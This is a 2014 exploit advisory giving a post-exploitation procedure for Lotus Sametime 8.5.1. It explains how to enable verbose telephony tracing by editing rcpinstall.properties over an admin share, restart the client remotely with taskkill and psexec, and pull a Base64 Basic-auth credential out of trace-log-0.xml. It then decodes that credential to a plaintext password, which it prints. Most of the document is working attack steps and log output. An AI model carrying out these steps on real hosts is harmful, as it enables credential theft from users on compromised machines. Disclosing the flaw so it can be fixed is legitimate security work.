Post Exploitation - Getting username and password in the Lotus Sametime 8.5.1

[adrianomarciomonteiro () gmail com]

# Exploit Title:        Post Exploitation - Getting username and password in the Lotus Sametime 8.5.1
# Google Dork:          n/a
# Date:                 18/02/2014
# Exploit Author:       Adriano Marcio Monteiro <adrianomarciomonteiro () gmail com>
# Vendor Homepage:      http://www.ibm.com/us/en/
# Software Link:        http://www-01.ibm.com/support/docview.wss?uid=swg24027054
# Version:              8.5.1
# Tested on:            Windows 7 SP1 x86 pt-br
# CVE :                 

Lotus Sametime is an instant messaging application that includes several features such as video conferencing, phone 
calls, etc. .. In case of problems the Lotus Sametime provides functionality to register and trace log (Menu: Help / 
Support / Show Tracker). When you enable verbose logging is possible to obtain the user and the user's password (the 
password is in Base64), according to the procedure below. The vulnerability is in telephony.softphone.service more 
specifically in Source Class.Method:

        com.ibm.ws.sip.stack.transport.TransportLayer
        sendMessage

Communication with the server is done via TLS, but the local content communication log is saved in clear text and the 
password is in base 64. Sample log:

        Out Message: [172.29.1.121:62444->172.28.10.138:5081/TLS]
        REGISTER sip:sipserver.meudominio.com.br:5081;transport=tls SIP/2.0
        Call-ID: 0.CA3.11C8340A9391D37E@172.29.1.121
        CSeq: 1 REGISTER
        From: <sips:adriano.monteiro%40meudominio.com.br () sipserver meudominio com br:5081>;tag=3996.696000502281
        To: sips:adriano.monteiro%40meudominio.com.br () sipserver meudominio com br:5081
        Via: SIP/2.0/TLS 172.29.1.121:5061;branch=z9hG4bK-6283666955645770411
        Max-Forwards: 70        
        Contact: sip:172.29.1.121:5061;transport=tls
        Expires: 0
        User-Agent: Sametime-Softphone-8.5.1.20100709-0934
        Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, INFO, MESSAGE, UPDATE
        Authorization: Basic cred="YWRyaWFuby5tb250ZWlyb0BtZXVkb21pbmlvLmNvbS5icjpBbW9yMTAxMA=="
        Content-Length: 0

Using a simple script you can automate the process of getting username and password, but beyond the scope of this 
tutorial and I will not explain this process here. Use your imagination!

PoC - Proof of Concept

Find the file below:
        “\\host.alvo\c$\Users\<usuario.alvo>\Dados de Aplicativos\Lotus\Sametime\.config\rcpinstall.properties”

Add the following lines at the end of the file and save:
        com.ibm.collaboration.realtime.internal.telephony.level=FINE
        com.ibm.collaboration.realtime.telephony.ui.level=FINE
        com.ibm.collaboration.realtime.telephony.tcspi.level=FINEST
        com.ibm.collaboration.realtime.telephony.softphone.level=FINER
        com.ibm.collaboration.realtime.telephony.core.level=FINE
        com.ibm.collaboration.realtime.multimedia.phonegrid.level=FINE
        com.ibm.collaboration.realtime.multimedia.video.gips.level=FINE
        com.ibm.collaboration.realtime.multimedia.phonegrid.internal.gips.level=FINE
        com.ibm.collaboration.realtime.multimedia.video.gips.level=FINE
        com.ibm.collaboration.realtime.multimedia.phonegrid.internal.gips.level=FINE
        com.ibm.collaboration.realtime.telephony.core.level=FINE
        com.ibm.collaboration.realtime.telephony.tcspi.level=FINEST
        com.ibm.collaboration.realtime.telephony.softphone.level=FINER
        com.ibm.collaboration.realtime.internal.telephony.level=FINE
        com.ibm.collaboration.realtime.telephony.ui.level=FINE
        com.ibm.collaboration.realtime.multimedia.level=FINE
        com.ibm.collaboration.realtime.internal.telephony.level=FINE
        com.ibm.collaboration.realtime.telephony.level=FINE
        com.ibm.collaboration.realtime.telephony.tcspi.level=FINEST
        com.ibm.collaboration.realtime.telephony.softphone.level=FINER

Restarting the process on the target host:
        taskkill /s host.alvo /f /im sametime.exe
        psexec –d \\host.alvo cmd.exe /c "%ProgramFiles%\IBM\Lotus\Sametime Connect\rcp\rcplauncher.exe"

In the logs folder:
        \\host.alvo\c$\Users\<usuario.alvo>\Dados de aplicativos\Lotus\Sametime\logs

Access the file:
        trace-log-0.xml

Search for:
        Basic cred=

Example:
<CommonBaseEvent creationTime="2014-02-18T11:44:53.249-03:00" globalInstanceId="ELac1d017d00014445744cd800001c7e" 
msg="Out Message: [172.29.1.125:58008-&gt;172.28.10.138:5081/TLS]&#xD;&#xA;REGISTER 
sip:server.meudominio.com.br:5081;transport=tls SIP/2.0&#xD;&#xA;Call-ID: 
0.94.52A702A8618A2FE8@172.29.1.125&#xD;&#xA;CSeq: 1 
REGISTER&#xD;&#xA;From:&lt;sips:adriano.monteiro%40meudominio.com.br () server meudominio com 
br:5081&gt;;tag=4518.144797347828&#xD;&#xA;To: &lt;sips:adriano.monteiro%40meudominio.com.br () server meudominio com 
br:5081&gt;&#xD;&#xA;Via: SIP/2.0/TLS 
172.29.1.125:5061;branch=z9hG4bK-3811914127572726454&#xD;&#xA;Max-Forwards:70&#xD;&#xA;Contact: *&#xD;&#xA;Expires: 
0&#xD;&#xA;User-Agent: Sametime-Softphone-8.5.1.20100709-0934&#xD;&#xA;Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, INFO, 
MESSAGE,UPDATE&#xD;&#xA;
Authorization: Basic 
cred=&quot;YWRyaWFuby5tb250ZWlyb0BtZXVkb21pbmlvLmNvbS5icjpBbW9yMTAxMA==&quot;&#xD;&#xA;Content-Length: 
0&#xD;&#xA;&#xD;&#xA;"      severity="10" version="1.0.1">

The username and password found here:
        Authorization: Basic cred=&quot;YWRyaWFuby5tb250ZWlyb0BtZXVkb21pbmlvLmNvbS5icjpBbW9yMTAxMA==&quot;

Getting Username and Password:
        Site:           http://www.base64decode.org/
        Decode:         YWRyaWFuby5tb250ZWlyb0BtZXVkb21pbmlvLmNvbS5icjpBbW9yMTAxMA==
        Result:         adriano.monteiro () meudominio com br:Amor1010

Bibliography:
http://pic.dhe.ibm.com/infocenter/sametime/v8r5/index.jsp?topic=%2Fcom.ibm.help.sametime.v85.doc%2Ftrouble%2Ftrbl_client_log_trace.html

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